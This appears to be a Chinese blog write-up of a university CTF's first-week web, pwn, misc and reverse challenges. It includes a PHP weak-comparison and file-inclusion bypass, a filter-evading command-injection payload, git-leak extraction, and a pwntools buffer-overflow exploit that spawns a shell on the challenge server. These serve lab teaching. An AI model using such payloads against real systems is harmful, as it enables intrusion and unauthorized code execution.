目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. signin
    2. 2.2. baby_php
    3. 2.3. hello_http
    4. 2.4. repo_leak
    5. 2.5. ping
  3. 3. Pwn
    1. 3.1. 找不到且不对劲的flag
    2. 3.2. 永远进不去的后门
  4. 4. Misc
    1. 4.1. SignIn
  5. 5. Reverse
    1. 5.1. 数字筑基
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

0xGameCTF Week1

2023/10/1 CTF线上赛
  |     |   总文章阅读量:次

前言

南邮的新生赛,只摸了下web和几题pwn,其它方向能签到就签到

Web

signin

flag在main.js里

image-20231001164639209


baby_php

php特性

源码

<?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
    $a = $_GET['a'];
    $b = $_GET['b'];
    $c = $_POST['c'];
    $name = $_COOKIE['name'];

    if ($a != $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
            include($name.'.php');
        }
    }
}

首先分别以get,post,cookie方式传入4个参数

第二个判断是md5弱比较绕过,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E7%89%B9%E6%80%A7/#md5%E7%AD%89%E6%95%88%E5%80%BC%E7%BB%95%E8%BF%87

第三个判断是php弱类型,要求$c 不是一个数字,不等于1024,转换为整数后的值等于1024,那就传个带小数的字符串进去就能实现绕过

最后include读取文件需要用到伪协议,指路:https://c1oudfl0w0.github.io/blog/2023/03/15/PHP%E4%BC%AA%E5%8D%8F%E8%AE%AE/

image-20231001165500861

然后base64解码得到flag


hello_http

http

一:The GET parameter query must be ctf,GET请求

二:The POST form action must be getflag,POST请求

三:Your are not admin,修改cookie值

四:Only allow local IP,伪造ip加xff头

五:You are not using HarmonyOS Browser,修改UA头

六:Only allow access from ys.mihoyo.com,加Referer头

image-20231001170916366


repo_leak

git版本泄露

进入靶机,notice文章告诉我们:There is noting here.Using Git for version control

那就是git泄露了,但是我这里用GitHacker脱库了一下没有找到有价值的信息

搜索一番后选择另一个工具Git_Extract:https://github.com/gakki429/Git_Extract

注意是python2环境

python git_extract.py http://124.71.184.68:50013/.git/

在post文件夹中找到flag

image-20231001181010137


ping

命令执行

一开始测试的时候发现有前端拦截,那就抓包到burpsuite里重放

发现分号用不了,那就%0a替代

然后发现空格也用不了,那就%09替代

这样就可以读源码了127.0.0.1%0acat%09api.php

先看看源码

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

发现把/过滤了,于是我们需要手动把目录切换到根目录读取flag

ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acat%09f*

image-20231001182608375


Pwn

找不到且不对劲的flag

根目录的flag是假的

ls -a查看全部文件包括被隐藏的文件

可以发现.secret文件夹,里面的flag是真的

image-20231002001029640


永远进不去的后门

ret2text

checksec一下发现是64位开NX

ida64反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-40h] BYREF
  int v5; // [rsp+8h] [rbp-38h]

  bufinit(argc, argv, envp);
  puts("Welcome to 0xGame2023!");
  puts("Tell me sth interesting, and I will give you what you want.");
  read(0, buf, 0x100uLL);
  if ( v5 % 2023 == 2023 )
    system("/bin/sh");
  else
    puts("Not that interesting. Bye.");
  return 0;
}

直接把system("/bin/sh")暴露出来了,前面使用了read函数,可以进行溢出,rbp偏移0x40

然后在system函数处tab切换到汇编视图,得到/bin/sh的地址

image-20231002222008821

编写exp:

from pwn import *

p = remote("8.130.35.16", "51002")

offset = 0x40+0x8
get_flag_addr = 0x401298
payload = offset * b'a' + p64(get_flag_addr)
p.recvuntil(b'Tell me sth interesting, and I will give you what you want.')
p.sendline(payload)
p.interactive()

image-20231002222706634


Misc

SignIn

cyberchef一把梭base64+base32


Reverse

数字筑基

ida f5反编译即可得到flag